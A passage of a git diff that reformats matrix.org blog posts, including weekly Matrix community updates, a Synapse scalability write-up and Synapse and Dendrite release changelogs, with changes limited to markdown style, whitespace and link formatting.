([\#8472](https://github.com/matrix-org/synapse/issues/8472)) +* Unblacklist some sytests. ([\#8474](https://github.com/matrix-org/synapse/issues/8474)) +* Include the log level in the phone home stats. ([\#8477](https://github.com/matrix-org/synapse/issues/8477)) +* Remove outdated sphinx documentation, scripts and configuration. ([\#8480](https://github.com/matrix-org/synapse/issues/8480)) +* Clarify error message when plugin config parsers raise an error. ([\#8492](https://github.com/matrix-org/synapse/issues/8492)) +* Remove the deprecated `Handlers` object. ([\#8494](https://github.com/matrix-org/synapse/issues/8494)) +* Fix a threadsafety bug in unit tests. ([\#8497](https://github.com/matrix-org/synapse/issues/8497)) +* Add user agent to user_daily_visits table. ([\#8503](https://github.com/matrix-org/synapse/issues/8503)) +* Add type hints to various parts of the code base. ([\#8407](https://github.com/matrix-org/synapse/issues/8407), [\#8505](https://github.com/matrix-org/synapse/issues/8505), [\#8507](https://github.com/matrix-org/synapse/issues/8507), [\#8547](https://github.com/matrix-org/synapse/issues/8547), [\#8562](https://github.com/matrix-org/synapse/issues/8562), [\#8609](https://github.com/matrix-org/synapse/issues/8609)) +* Remove unused code from the test framework. ([\#8514](https://github.com/matrix-org/synapse/issues/8514)) +* Apply some internal fixes to the `HomeServer` class to make its code more idiomatic and statically-verifiable. ([\#8515](https://github.com/matrix-org/synapse/issues/8515)) +* Factor out common code between `RoomMemberHandler._locally_reject_invite` and `EventCreationHandler.create_event`. ([\#8537](https://github.com/matrix-org/synapse/issues/8537)) +* Improve database performance by executing more queries without starting transactions. ([\#8542](https://github.com/matrix-org/synapse/issues/8542)) +* Rename `Cache` to `DeferredCache`, to better reflect its purpose. ([\#8548](https://github.com/matrix-org/synapse/issues/8548)) +* Move metric registration code down into `LruCache`. ([\#8561](https://github.com/matrix-org/synapse/issues/8561), [\#8591](https://github.com/matrix-org/synapse/issues/8591)) +* Replace `DeferredCache` with the lighter-weight `LruCache` where possible. ([\#8563](https://github.com/matrix-org/synapse/issues/8563)) +* Add virtualenv-generated folders to `.gitignore`. ([\#8566](https://github.com/matrix-org/synapse/issues/8566)) +* Add `get_immediate` method to `DeferredCache`. ([\#8568](https://github.com/matrix-org/synapse/issues/8568)) +* Fix mypy not properly checking across the codebase, additionally, fix a typing assertion error in `handlers/auth.py`. ([\#8569](https://github.com/matrix-org/synapse/issues/8569)) +* Fix `synmark` benchmark runner. ([\#8571](https://github.com/matrix-org/synapse/issues/8571)) +* Modify `DeferredCache.get()` to return `Deferred`s instead of `ObservableDeferred`s. ([\#8572](https://github.com/matrix-org/synapse/issues/8572)) +* Adjust a protocol-type definition to fit `sqlite3` assertions. ([\#8577](https://github.com/matrix-org/synapse/issues/8577)) +* Support macOS on the `synmark` benchmark runner. ([\#8578](https://github.com/matrix-org/synapse/issues/8578)) +* Update `mypy` static type checker to 0.790. ([\#8583](https://github.com/matrix-org/synapse/issues/8583), [\#8600](https://github.com/matrix-org/synapse/issues/8600)) +* Re-organize the structured logging code to separate the TCP transport handling from the JSON formatting. ([\#8587](https://github.com/matrix-org/synapse/issues/8587)) +* Remove extraneous unittest logging decorators from unit tests. ([\#8592](https://github.com/matrix-org/synapse/issues/8592)) +* Minor optimisations in caching code. ([\#8593](https://github.com/matrix-org/synapse/issues/8593), [\#8594](https://github.com/matrix-org/synapse/issues/8594)) diff --git a/content/blog/2020/10/2020-10-30-this-week-in-matrix-2020-10-30.md b/content/blog/2020/10/2020-10-30-this-week-in-matrix-2020-10-30.md index f986c14ad..32d55523e 100644 --- a/content/blog/2020/10/2020-10-30-this-week-in-matrix-2020-10-30.md +++ b/content/blog/2020/10/2020-10-30-this-week-in-matrix-2020-10-30.md @@ -31,7 +31,7 @@ image = "https://matrix.org/blog/img/2020-10-30-ml.png" > **Closed MSCs:** > > * [\[WIPish\] MSC1777: peeking over federation (via server pseudousers)](https://github.com/matrix-org/matrix-doc/pull/1777) -> * Obsoleted in favour of [MSC2444](https://github.com/matrix-org/matrix-doc/pull/2444) +> * Obsoleted in favour of [MSC2444](https://github.com/matrix-org/matrix-doc/pull/2444) > > **Merged MSCs:** > @@ -63,9 +63,9 @@ image = "https://matrix.org/blog/img/2020-10-30-ml.png" [wbamberg](https://matrix.to/#/@wbamberg:matrix.org) told us: -> Updates on the new spec platform: we can render HTTP APIs (https://adoring-einstein-5ea514.netlify.app/spec/client-server/#login) and events (https://adoring-einstein-5ea514.netlify.app/spec/client-server/#room-events). +> Updates on the new spec platform: we can render HTTP APIs () and events (). -## Dept of *Built on Matrix* 🏗️ +## Dept of _Built on Matrix_ 🏗️ ### Chupacabra Social @@ -87,14 +87,12 @@ Conduit is a Matrix homeserver written in Rust [Timo](https://matrix.to/#/@timo:conduit.rs) announced: -> Hello everyone, I have some amazing news to share with you! While Conduit is getting better at federating, Famedly (https://famedly.com) has agreed to support me working on Conduit financially. With this news come some organizational changes: +> Hello everyone, I have some amazing news to share with you! While Conduit is getting better at federating, Famedly () has agreed to support me working on Conduit financially. With this news come some organizational changes: > > Conduit development now happens at , please submit new issues and pull requests over there. I will update all links in the coming days. > > Note: Famedly does not own the project and Conduit will stay free and open source forever! - - ### matrix-media-repo [matrix-media-repo](https://github.com/turt2live/matrix-media-repo) is a highly customizable multi-domain media repository for Matrix @@ -103,8 +101,6 @@ Conduit is a Matrix homeserver written in Rust > [v1.2.1](https://github.com/turt2live/matrix-media-repo/releases/tag/v1.2.1) of matrix-media-repo, a third-party media repo for large homeservers, is out now. It's primarily a maintenance update though also has support for audio files if for some reason you need that. - - ![2020-10-30-e_ntN-image.png](/blog/img/2020-10-30-e_ntN-image.png) ### Synapse @@ -202,13 +198,13 @@ Dendrite is a next-generation homeserver written in Go ## Dept of Clients 📱 -### Fluffychat 0.21.1 is released! +### Fluffychat 0.21.1 is released [FluffyChat](https://fluffychat.im) is a cute cross-platform matrix client. It is available for Android, iOS, Web and Desktop. [sorunome](https://matrix.to/#/@sorunome:sorunome.de) announced: -> It is already in fdroid, google play and ios should follow shortly. We *highly* encourage people to update, as it contains an important bugfix of sending out way too many key requests, which can cause bad server performance +> It is already in fdroid, google play and ios should follow shortly. We _highly_ encourage people to update, as it contains an important bugfix of sending out way too many key requests, which can cause bad server performance > > #### Features > @@ -228,7 +224,6 @@ Dendrite is a next-generation homeserver written in Go > * Fixes Android download > * Minor fixes - ![2020-10-30-8rQ9F-img_20201029_152401.jpg](/blog/img/2020-10-30-8rQ9F-img_20201029_152401.jpg) ![2020-10-30-DESJ--screenshot_20201029-152256_fluffychat.png](/blog/img/2020-10-30-DESJ--screenshot_20201029-152256_fluffychat.png) @@ -270,8 +265,8 @@ You had me at "progress on the performance side"! I am looking forward to the ne > This week we shipped Element 1.7.12 which contains some high priority fixes, specifically: > -> * Fixes secret storage / cross-signing reset to avoid asking for the previous key you no longer have -> * Fixes widget pinning and Jitsi calls when custom themes are used +> * Fixes secret storage / cross-signing reset to avoid asking for the previous key you no longer have +> * Fixes widget pinning and Jitsi calls when custom themes are used > > Aside from that we continue to work on the voice and video calling experience as well as improving the initial onboarding experience of the app. @@ -303,7 +298,7 @@ I asked about trilene, who is a reliable Nheko contributor, Nico replied: [TravisR](https://github.com/turt2live) told us: -> [matrix-bot-sdk](https://www.npmjs.com/package/matrix-bot-sdk) v0.5.8 is out now with experimental support for EDUs being sent to appservices (per [MSC2409](https://github.com/matrix-org/matrix-doc/pull/2409)). +> [matrix-bot-sdk](https://www.npmjs.com/package/matrix-bot-sdk) v0.5.8 is out now with experimental support for EDUs being sent to appservices (per [MSC2409](https://github.com/matrix-org/matrix-doc/pull/2409)). > > To enable it you'll need Synapse 1.22.0 (released this week) and v0.5.8 of the bot-sdk. Then, add `"de.sorunome.msc2409.ephemeral": true` to your appservice registration file (at the root level) and turn on the `de.sorunome.msc2409.ephemeral` flag in your `IAppserviceRegistration` supplied to the bot-sdk. If all goes according to plan, you'll be able to use `appservice.on("ephemeral.event", (ev) => {})` to start processing EDUs. @@ -323,7 +318,7 @@ I asked about trilene, who is a reliable Nheko contributor, Nico replied: > Starting November 28th and 29th of this year, many bots on t2bot.io will be supporting end-to-end encryption. Though not all bots will be supporting it, this is an important milestone towards getting end-to-bridge encryption enabled on t2bot.io as a proof of being able to scale to the higher demand of encrypted rooms. > -> The eventual goal is to support encryption on all of t2bot.io’s bots and bridges, however we need to take small steps to get there 🙂. Note that in order to function, bots will decrypt *all* messages they see, but only respond to the ones they care about - this can still be uncomfortable for some rooms though, so feel free to kick them out. +> The eventual goal is to support encryption on all of t2bot.io’s bots and bridges, however we need to take small steps to get there 🙂. Note that in order to function, bots will decrypt _all_ messages they see, but only respond to the ones they care about - this can still be uncomfortable for some rooms though, so feel free to kick them out. > > For more detail on which bots are getting support and what all this entails/means, please see the [dedicated blog post](https://t2bot.io/blog/2020/10/30/enabling-encryption-for-bots/). @@ -344,26 +339,25 @@ We teased this a little on Matrix Live last week (I think?), but so awesome to s > * Verified Listings using well-known files on serverside (Also allowing Admins to modify server data themself) > > * Server Details like: -> * Ping and Availability Stats (thanks to tulir for providing a API) +> * Ping and Availability Stats (thanks to tulir for providing a API) > -> * Public Room Lists fetched from the Server -> * NSFW Ratings (A NSFW tag was too generic for us) +> * Public Room Lists fetched from the Server +> * NSFW Ratings (A NSFW tag was too generic for us) > -> * A Section to list Rules -> * Admin addresses for easy ways of reaching the Server admins +> * A Section to list Rules +> * Admin addresses for easy ways of reaching the Server admins > > * Allowing to select registration state ("Open", "Invite Only", "Closed") > > > The Code is fully written in Rust and using Postgres as a backend. Have a look at: > -> Join us at: [#serverlist:nordgedanken.dev](https://matrix.to/#/#serverlist:nordgedanken.dev) +> Join us at: [#serverlist:nordgedanken.dev](https://matrix.to/#/#serverlist:nordgedanken.dev) > > In a further post we plan to announce the launch of this Project as a Website. Server owners might get a ping before that to allow for setting up servers for this. This Project is not yet deployed to be used. This is really cool. I suggested it might start to kickstart people hosting their own small, publicly open servers. - [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) replied: > As we also allow non public servers (registration -> closed) it may also be a nice way to find communities that federate and have a look if they have a interesting room to join in the public rooms list. :) diff --git a/content/blog/2020/11/2020-11-03-how-we-fixed-synapse-s-scalability.md b/content/blog/2020/11/2020-11-03-how-we-fixed-synapse-s-scalability.md index 10bd4b3db..67fec1ce3 100644 --- a/content/blog/2020/11/2020-11-03-how-we-fixed-synapse-s-scalability.md +++ b/content/blog/2020/11/2020-11-03-how-we-fixed-synapse-s-scalability.md @@ -50,6 +50,7 @@ caches to speed things up by avoiding hitting the database (at the expense of RAM). It looked like this:
    +
    @@ -64,7 +65,7 @@ These are append only sequences of rows, such as the events stream, typing stream, receipts stream, etc. When a new event arrives (for example) we write it to the events stream, and then notify anything waiting that there has been an update. The `/sync` endpoint, for instance, will wait for updates to streams -and send them down to long-polling Matrix clients. +and send them down to long-polling Matrix clients. Streams support being added to concurrently, so have a concept of the “persisted up-to position”. This is the point where **all** rows before that @@ -102,7 +103,7 @@ process with the event for it to persist the event. Eventually we ran out of stuff to move out of the main process that didn’t involve writing to the DB. To write stuff from other processes we needed a way for the workers to stream updates to each other. The easiest and most obvious -way was to just use Redis and its pub/sub support. +way was to just use Redis and its pub/sub support. ![2020-11-03-synapse3.png](/blog/img/2020-11-03-synapse3.png) @@ -136,14 +137,14 @@ This is more complicated than sharding the cache invalidation stream as the ordering of the events does matter; we send them down sync streams, in order, with a token that indicates where the sync stream is up to in the events stream. This means that workers need to be able to calculate a “persisted -up-to position” when getting updates from different workers. +up-to position” when getting updates from different workers. The easiest way of doing that is to simply set the persisted up-to position as the minimum position received over federation from all active writers. This works, except events would only be processed after all other writers have subsequently written events (to advance the persisted position past the point at which the event was written), which can add a lot of latency depending on -how often events are written. +how often events are written. A refinement is to note that if you have a persisted up-to position of 10, then receive updates at sequential positions 11, 12, 13 and 14, you know that @@ -159,7 +160,7 @@ vector of positions - one per writer. This still allows answering the query of “get all events after token X” (as events are written with the position and the name of the writer). The persisted up-to position is then calculated by just tracking the last position seen to arrive over replication from each -writer. +writer. This allows writing events from multiple workers, while ensuring that other workers can correctly keep track of a “persisted up-to position”. Then it's @@ -234,7 +235,7 @@ users to arrive. ### Conclusion So there you have it: folks running massive homeservers (50K+ concurrent -users) like Matrix.org (and *cough* various high profile public sector +users) like Matrix.org (and _cough_ various high profile public sector deployments) are no longer held hostage by the bottleneck of the main synapse process and should feel free to experiment with setting up event persister workers to handle high traffic loads. Otherwise, if you can spread your users diff --git a/content/blog/2020/11/2020-11-06-this-week-in-matrix-2020-11-06.md b/content/blog/2020/11/2020-11-06-this-week-in-matrix-2020-11-06.md index bca0cc45a..b49235cc1 100644 --- a/content/blog/2020/11/2020-11-06-this-week-in-matrix-2020-11-06.md +++ b/content/blog/2020/11/2020-11-06-this-week-in-matrix-2020-11-06.md @@ -33,11 +33,11 @@ Demos week is fun! Reminds me of walk-around-the-office-interrupting-people week > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > -> * _No MSCs were merged this week._ +> * *No MSCs were merged this week.* > > **MSCs in Final Comment Period:** > @@ -51,7 +51,7 @@ Demos week is fun! Reminds me of walk-around-the-office-interrupting-people week > * [MSC2845: Phone number lookups using third party API](https://github.com/matrix-org/matrix-doc/pull/2845) > * [\[WIP\] MSC2844: Global version number for the whole spec](https://github.com/matrix-org/matrix-doc/pull/2844) > -> #### Spec Core Team +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, we're switching out [MSC2765](https://github.com/matrix-org/matrix-doc/pull/2765) (widget avatars) for [MSC1544](https://github.com/matrix-org/matrix-doc/pull/1544) (QR code verification), and keeping > @@ -67,11 +67,11 @@ Demos week is fun! Reminds me of walk-around-the-office-interrupting-people week > Happy November from the Synapse team! As mentioned last week, we pushed a small [v1.22.1 release](https://github.com/matrix-org/synapse/releases/tag/v1.22.1) last Friday which fixed two regressions: > -> * Fix a bug where an appservice may not be forwarded events for a room it was recently invited to. Broke in v1.22.0. ([#8676](https://github.com/matrix-org/synapse/issues/8676)) +> * Fix a bug where an appservice may not be forwarded events for a room it was recently invited to. Broke in v1.22.0. ([#8676](https://github.com/matrix-org/synapse/issues/8676)) > -> * Fix `Object of type frozendict is not JSON serializable` exceptions when using third-party event rules. Broke in v1.22.0. ([#8678](https://github.com/matrix-org/synapse/issues/8678)) +> * Fix `Object of type frozendict is not JSON serializable` exceptions when using third-party event rules. Broke in v1.22.0. ([#8678](https://github.com/matrix-org/synapse/issues/8678)) > -> If you haven't upgraded your Synapse in a while, _please do._ +> If you haven't upgraded your Synapse in a while, *please do.* > > A major focus of Synapse is being able to meet the performance and reliability needs of massive homeservers like `matrix.org`. If you're curious about how Synapse's architecture has evolved over the years to meet these scaling challenges, check our our blog post from Tuesday: [How we fixed Synapse's scalability!](https://matrix.org/blog/2020/11/03/how-we-fixed-synapses-scalability) > @@ -180,7 +180,7 @@ Check out the demos vid for more Hydrogen! [cognitive_tea](https://matrix.to/#/@cognitive_tea:matrix.org) reported: -> Hi all! I _think_ this is the right place to share this 🤞. I've been working on a Matrix SDK for Elixir over the last few months as a side project, it's very early days and it's currently just a bare-bones wrapper for the Client-Server API. I've also written the Elixir/Erlang bindings for Olm (currently missing group sessions) which should be added to the SDK soon. The repo can be found here: and the Elixir bindings for Olm are linked in the readme. +> Hi all! I *think* this is the right place to share this 🤞. I've been working on a Matrix SDK for Elixir over the last few months as a side project, it's very early days and it's currently just a bare-bones wrapper for the Client-Server API. I've also written the Elixir/Erlang bindings for Olm (currently missing group sessions) which should be added to the SDK soon. The repo can be found here: and the Elixir bindings for Olm are linked in the readme. It is the right place! Thanks cognitive_tea :D diff --git a/content/blog/2020/11/2020-11-13-this-week-in-matrix-2020-11-13.md b/content/blog/2020/11/2020-11-13-this-week-in-matrix-2020-11-13.md index c16c68500..fdf24b1d1 100644 --- a/content/blog/2020/11/2020-11-13-this-week-in-matrix-2020-11-13.md +++ b/content/blog/2020/11/2020-11-13-this-week-in-matrix-2020-11-13.md @@ -100,8 +100,6 @@ In this figure, k is the number of participating servers, U_n is the current wid > > Do not be alarmed if a particular MSC is not on this board, we're placing things on here as deemed necessary, and more will certainly be added in time. - - ![2020-11-13-IBXkM-stacked_area_chart.png](/blog/img/2020-11-13-IBXkM-stacked_area_chart.png) ### New spec platform @@ -192,7 +190,7 @@ Bruno got the idea pretty quickly: > > **Usability** > -> We've been focusing on improving post-registration actions all round to make Element provide better prompts for first actions, and empty states for views on all platforms, with a multitude of fixes having landed on Element Web, iOS & Android in the last week. We've also started paid user testing to better understand specific pain points in the first time user experience, which we're looking to improve significantly in the coming weeks. +> We've been focusing on improving post-registration actions all round to make Element provide better prompts for first actions, and empty states for views on all platforms, with a multitude of fixes having landed on Element Web, iOS & Android in the last week. We've also started paid user testing to better understand specific pain points in the first time user experience, which we're looking to improve significantly in the coming weeks. > > **Web platform** > @@ -279,16 +277,16 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl [ahq](https://matrix.to/#/@ahq:matrix.org) said: -> Hello Matrix friends. I've been asked to share this here. I'm currently building a platform for building communities. I'm focused on deeper matrix integration with communities, private messaging built on top of matrix, and custom domain support. Feel free to check out . The matrix community is at , but I haven't had the time to post much. +> Hello Matrix friends. I've been asked to share this here. I'm currently building a platform for building communities. I'm focused on deeper matrix integration with communities, private messaging built on top of matrix, and custom domain support. Feel free to check out . The matrix community is at , but I haven't had the time to post much. > -> We have communities (https://gurlic.com/space -> ) +> We have communities ( -> ) > -> We have galleries (https://gurlic.com/art -> ) -> We have publications (https://gurlic.com/classics -> ) +> We have galleries ( -> ) +> We have publications ( -> ) > -> We have user pages (https://gurlic.com/bob -> https://bob.monster) +> We have user pages ( -> ) > -> The UI is a little confusing now because we have longform articles (https://gurlic.com/homer/the-iliad-book-ii) and short social media posts (https://gurlic.com/privacy/post/324848317844422661). +> The UI is a little confusing now because we have longform articles () and short social media posts (). > > I pretty much want all resources to have custom domain support, and matrix rooms for all communities, and nested communities. In the near future, I hope to have matrix servers for custom domains too. And of course, the source will also be open if folks want to host. > diff --git a/content/blog/2020/11/2020-11-16-dendrite-0-3-0-released.md b/content/blog/2020/11/2020-11-16-dendrite-0-3-0-released.md index 567d63b7b..f4d2251e7 100644 --- a/content/blog/2020/11/2020-11-16-dendrite-0-3-0-released.md +++ b/content/blog/2020/11/2020-11-16-dendrite-0-3-0-released.md @@ -21,7 +21,7 @@ makes an enormous perceptual improvement when using Dendrite - so especial thanks are due there :) So, if you're interested in helping us test, please spin up a copy from -https://github.com/matrix-org/dendrite and let us know how it goes - and if you're + and let us know how it goes - and if you're already running one, now is an excellent time to upgrade! Full changelog (including 0.2.1, which we forgot to blog about) follows: @@ -53,4 +53,3 @@ Full changelog (including 0.2.1, which we forgot to blog about) follows: * Roomserver output events no longer incorrectly flag state rewrites ([#1557](https://github.com/matrix-org/dendrite/pull/1557)) * Notification levels are now parsed correctly in power level events ([gomatrixserverlib#228](https://github.com/matrix-org/gomatrixserverlib/pull/228), contributed by [Pestdoktor](https://github.com/Pestdoktor)) * Invalid UTF-8 is now correctly rejected when making federation requests ([gomatrixserverlib#229](https://github.com/matrix-org/gomatrixserverlib/pull/229), contributed by [Pestdoktor](https://github.com/Pestdoktor)) - diff --git a/content/blog/2020/11/2020-11-18-synapse-1-23-0-released.md b/content/blog/2020/11/2020-11-18-synapse-1-23-0-released.md index edf795b93..fc17f884f 100644 --- a/content/blog/2020/11/2020-11-18-synapse-1-23-0-released.md +++ b/content/blog/2020/11/2020-11-18-synapse-1-23-0-released.md @@ -15,11 +15,11 @@ For Synapse admins, this release support generating structured logs via the stan We've also added many new Admin APIs, contributed by [@dklimpel](https://github.com/dklimpel): - * Add API to get information about uploaded media ([#8647](https://github.com/matrix-org/synapse/issues/8647)) - * Add API for local user media statistics ([#8700](https://github.com/matrix-org/synapse/issues/8700)) - * Make it possible to delete files that were not used for a defined time ([#8519](https://github.com/matrix-org/synapse/issues/8519)) - * Split API for reported events into detail and list endpoints. This is a breaking change to [#8217](https://github.com/matrix-org/synapse/issues/8217) which was introduced in Synapse v1.21.0. Those who already use this API should check their scripts ([#8539](https://github.com/matrix-org/synapse/issues/8539)) - * Allow server admins to list users' notification pushers ([#8610](https://github.com/matrix-org/synapse/issues/8610), [#8689](https://github.com/matrix-org/synapse/issues/8689)) +* Add API to get information about uploaded media ([#8647](https://github.com/matrix-org/synapse/issues/8647)) +* Add API for local user media statistics ([#8700](https://github.com/matrix-org/synapse/issues/8700)) +* Make it possible to delete files that were not used for a defined time ([#8519](https://github.com/matrix-org/synapse/issues/8519)) +* Split API for reported events into detail and list endpoints. This is a breaking change to [#8217](https://github.com/matrix-org/synapse/issues/8217) which was introduced in Synapse v1.21.0. Those who already use this API should check their scripts ([#8539](https://github.com/matrix-org/synapse/issues/8539)) +* Allow server admins to list users' notification pushers ([#8610](https://github.com/matrix-org/synapse/issues/8610), [#8689](https://github.com/matrix-org/synapse/issues/8689)) Lastly, Synapse 1.23.0 addresses some significant bugs, including regressions in the SQLite-to-PostgreSQL database porting script ([#8729](http://github.com/matrix-org/synapse/issues/8729), [#8730](http://github.com/matrix-org/synapse/issues/8730), [#8755](http://github.com/matrix-org/synapse/issues/8755)) and an issue which could prevent Synapse from recovering after losing its connection to its database ([#8726](https://github.com/matrix-org/synapse/issues/8726)). Synapse will also reject ACL modifications from clients which would otherwise cause a server to ban itself from a room ([#8708](https://github.com/matrix-org/synapse/issues/8708)). @@ -29,100 +29,89 @@ Synapse is a Free and Open Source Software project, and we'd like to extend our The full changelog for 1.23.0 is as follows: -Synapse 1.23.0 (2020-11-18) -=========================== +## Synapse 1.23.0 (2020-11-18) This release changes the way structured logging is configured. See the [upgrade notes](UPGRADE.rst#upgrading-to-v1230) for details. -**Note**: We are aware of a trivially exploitable denial of service vulnerability in versions of Synapse prior to 1.20.0. Complete details will be disclosed on Monday, November 23rd. If you have not upgraded recently, please do so. - -Bugfixes --------- - -- Fix a dependency versioning bug in the Dockerfile that prevented Synapse from starting. ([\#8767](https://github.com/matrix-org/synapse/issues/8767)) - - -Synapse 1.23.0rc1 (2020-11-13) -============================== - -Features --------- - -- Add a push rule that highlights when a jitsi conference is created in a room. ([\#8286](https://github.com/matrix-org/synapse/issues/8286)) -- Add an admin api to delete a single file or files that were not used for a defined time from server. Contributed by @dklimpel. ([\#8519](https://github.com/matrix-org/synapse/issues/8519)) -- Split admin API for reported events (`GET /_synapse/admin/v1/event_reports`) into detail and list endpoints. This is a breaking change to #8217 which was introduced in Synapse v1.21.0. Those who already use this API should check their scripts. Contributed by @dklimpel. ([\#8539](https://github.com/matrix-org/synapse/issues/8539)) -- Support generating structured logs via the standard logging configuration. ([\#8607](https://github.com/matrix-org/synapse/issues/8607), [\#8685](https://github.com/matrix-org/synapse/issues/8685)) -- Add an admin API to allow server admins to list users' pushers. Contributed by @dklimpel. ([\#8610](https://github.com/matrix-org/synapse/issues/8610), [\#8689](https://github.com/matrix-org/synapse/issues/8689)) -- Add an admin API `GET /_synapse/admin/v1/users//media` to get information about uploaded media. Contributed by @dklimpel. ([\#8647](https://github.com/matrix-org/synapse/issues/8647)) -- Add an admin API for local user media statistics. Contributed by @dklimpel. ([\#8700](https://github.com/matrix-org/synapse/issues/8700)) -- Add `displayname` to Shared-Secret Registration for admins. ([\#8722](https://github.com/matrix-org/synapse/issues/8722)) - - -Bugfixes --------- - -- Fix fetching of E2E cross signing keys over federation when only one of the master key and device signing key is cached already. ([\#8455](https://github.com/matrix-org/synapse/issues/8455)) -- Fix a bug where Synapse would blindly forward bad responses from federation to clients when retrieving profile information. ([\#8580](https://github.com/matrix-org/synapse/issues/8580)) -- Fix a bug where the account validity endpoint would silently fail if the user ID did not have an expiration time. It now returns a 400 error. ([\#8620](https://github.com/matrix-org/synapse/issues/8620)) -- Fix email notifications for invites without local state. ([\#8627](https://github.com/matrix-org/synapse/issues/8627)) -- Fix handling of invalid group IDs to return a 400 rather than log an exception and return a 500. ([\#8628](https://github.com/matrix-org/synapse/issues/8628)) -- Fix handling of User-Agent headers that are invalid UTF-8, which caused user agents of users to not get correctly recorded. ([\#8632](https://github.com/matrix-org/synapse/issues/8632)) -- Fix a bug in the `joined_rooms` admin API if the user has never joined any rooms. The bug was introduced, along with the API, in v1.21.0. ([\#8643](https://github.com/matrix-org/synapse/issues/8643)) -- Fix exception during handling multiple concurrent requests for remote media when using multiple media repositories. ([\#8682](https://github.com/matrix-org/synapse/issues/8682)) -- Fix bug that prevented Synapse from recovering after losing connection to the database. ([\#8726](https://github.com/matrix-org/synapse/issues/8726)) -- Fix bug where the `/_synapse/admin/v1/send_server_notice` API could send notices to non-notice rooms. ([\#8728](https://github.com/matrix-org/synapse/issues/8728)) -- Fix PostgreSQL port script fails when DB has no backfilled events. Broke in v1.21.0. ([\#8729](https://github.com/matrix-org/synapse/issues/8729)) -- Fix PostgreSQL port script to correctly handle foreign key constraints. Broke in v1.21.0. ([\#8730](https://github.com/matrix-org/synapse/issues/8730)) -- Fix PostgreSQL port script so that it can be run again after a failure. Broke in v1.21.0. ([\#8755](https://github.com/matrix-org/synapse/issues/8755)) - - -Improved Documentation ----------------------- - -- Instructions for Azure AD in the OpenID Connect documentation. Contributed by peterk. ([\#8582](https://github.com/matrix-org/synapse/issues/8582)) -- Improve the sample configuration for single sign-on providers. ([\#8635](https://github.com/matrix-org/synapse/issues/8635)) -- Fix the filepath of Dex's example config and the link to Dex's Getting Started guide in the OpenID Connect docs. ([\#8657](https://github.com/matrix-org/synapse/issues/8657)) -- Note support for Python 3.9. ([\#8665](https://github.com/matrix-org/synapse/issues/8665)) -- Minor updates to docs on running tests. ([\#8666](https://github.com/matrix-org/synapse/issues/8666)) -- Interlink prometheus/grafana documentation. ([\#8667](https://github.com/matrix-org/synapse/issues/8667)) -- Notes on SSO logins and media_repository worker. ([\#8701](https://github.com/matrix-org/synapse/issues/8701)) -- Document experimental support for running multiple event persisters. ([\#8706](https://github.com/matrix-org/synapse/issues/8706)) -- Add information regarding the various sources of, and expected contributions to, Synapse's documentation to `CONTRIBUTING.md`. ([\#8714](https://github.com/matrix-org/synapse/issues/8714)) -- Migrate documentation `docs/admin_api/event_reports` to markdown. ([\#8742](https://github.com/matrix-org/synapse/issues/8742)) -- Add some helpful hints to the README for new Synapse developers. Contributed by @chagai95. ([\#8746](https://github.com/matrix-org/synapse/issues/8746)) - - -Internal Changes ----------------- - -- Optimise `/createRoom` with multiple invited users. ([\#8559](https://github.com/matrix-org/synapse/issues/8559)) -- Implement and use an `@lru_cache` decorator. ([\#8595](https://github.com/matrix-org/synapse/issues/8595)) -- Don't instantiate Requester directly. ([\#8614](https://github.com/matrix-org/synapse/issues/8614)) -- Type hints for `RegistrationStore`. ([\#8615](https://github.com/matrix-org/synapse/issues/8615)) -- Change schema to support access tokens belonging to one user but granting access to another. ([\#8616](https://github.com/matrix-org/synapse/issues/8616)) -- Remove unused OPTIONS handlers. ([\#8621](https://github.com/matrix-org/synapse/issues/8621)) -- Run `mypy` as part of the lint.sh script. ([\#8633](https://github.com/matrix-org/synapse/issues/8633)) -- Correct Synapse's PyPI package name in the OpenID Connect installation instructions. ([\#8634](https://github.com/matrix-org/synapse/issues/8634)) -- Catch exceptions during initialization of `password_providers`. Contributed by Nicolai Søborg. ([\#8636](https://github.com/matrix-org/synapse/issues/8636)) -- Fix typos and spelling errors in the code. ([\#8639](https://github.com/matrix-org/synapse/issues/8639)) -- Reduce number of OpenTracing spans started. ([\#8640](https://github.com/matrix-org/synapse/issues/8640), [\#8668](https://github.com/matrix-org/synapse/issues/8668), [\#8670](https://github.com/matrix-org/synapse/issues/8670)) -- Add field `total` to device list in admin API. ([\#8644](https://github.com/matrix-org/synapse/issues/8644)) -- Add more type hints to the application services code. ([\#8655](https://github.com/matrix-org/synapse/issues/8655), [\#8693](https://github.com/matrix-org/synapse/issues/8693)) -- Tell Black to format code for Python 3.5. ([\#8664](https://github.com/matrix-org/synapse/issues/8664)) -- Don't pull event from DB when handling replication traffic. ([\#8669](https://github.com/matrix-org/synapse/issues/8669)) -- Abstract some invite-related code in preparation for landing knocking. ([\#8671](https://github.com/matrix-org/synapse/issues/8671), [\#8688](https://github.com/matrix-org/synapse/issues/8688)) -- Clarify representation of events in logfiles. ([\#8679](https://github.com/matrix-org/synapse/issues/8679)) -- Don't require `hiredis` package to be installed to run unit tests. ([\#8680](https://github.com/matrix-org/synapse/issues/8680)) -- Fix typing info on cache call signature to accept `on_invalidate`. ([\#8684](https://github.com/matrix-org/synapse/issues/8684)) -- Fail tests if they do not await coroutines. ([\#8690](https://github.com/matrix-org/synapse/issues/8690)) -- Improve start time by adding an index to `e2e_cross_signing_keys.stream_id`. ([\#8694](https://github.com/matrix-org/synapse/issues/8694)) -- Re-organize the structured logging code to separate the TCP transport handling from the JSON formatting. ([\#8697](https://github.com/matrix-org/synapse/issues/8697)) -- Use Python 3.8 in Docker images by default. ([\#8698](https://github.com/matrix-org/synapse/issues/8698)) -- Remove the "draft" status of the Room Details Admin API. ([\#8702](https://github.com/matrix-org/synapse/issues/8702)) -- Improve the error returned when a non-string displayname or avatar_url is used when updating a user's profile. ([\#8705](https://github.com/matrix-org/synapse/issues/8705)) -- Block attempts by clients to send server ACLs, or redactions of server ACLs, that would result in the local server being blocked from the room. ([\#8708](https://github.com/matrix-org/synapse/issues/8708)) -- Add metrics the allow the local sysadmin to track 3PID `/requestToken` requests. ([\#8712](https://github.com/matrix-org/synapse/issues/8712)) -- Consolidate duplicated lists of purged tables that are checked in tests. ([\#8713](https://github.com/matrix-org/synapse/issues/8713)) -- Add some `mdui:UIInfo` element examples for `saml2_config` in the homeserver 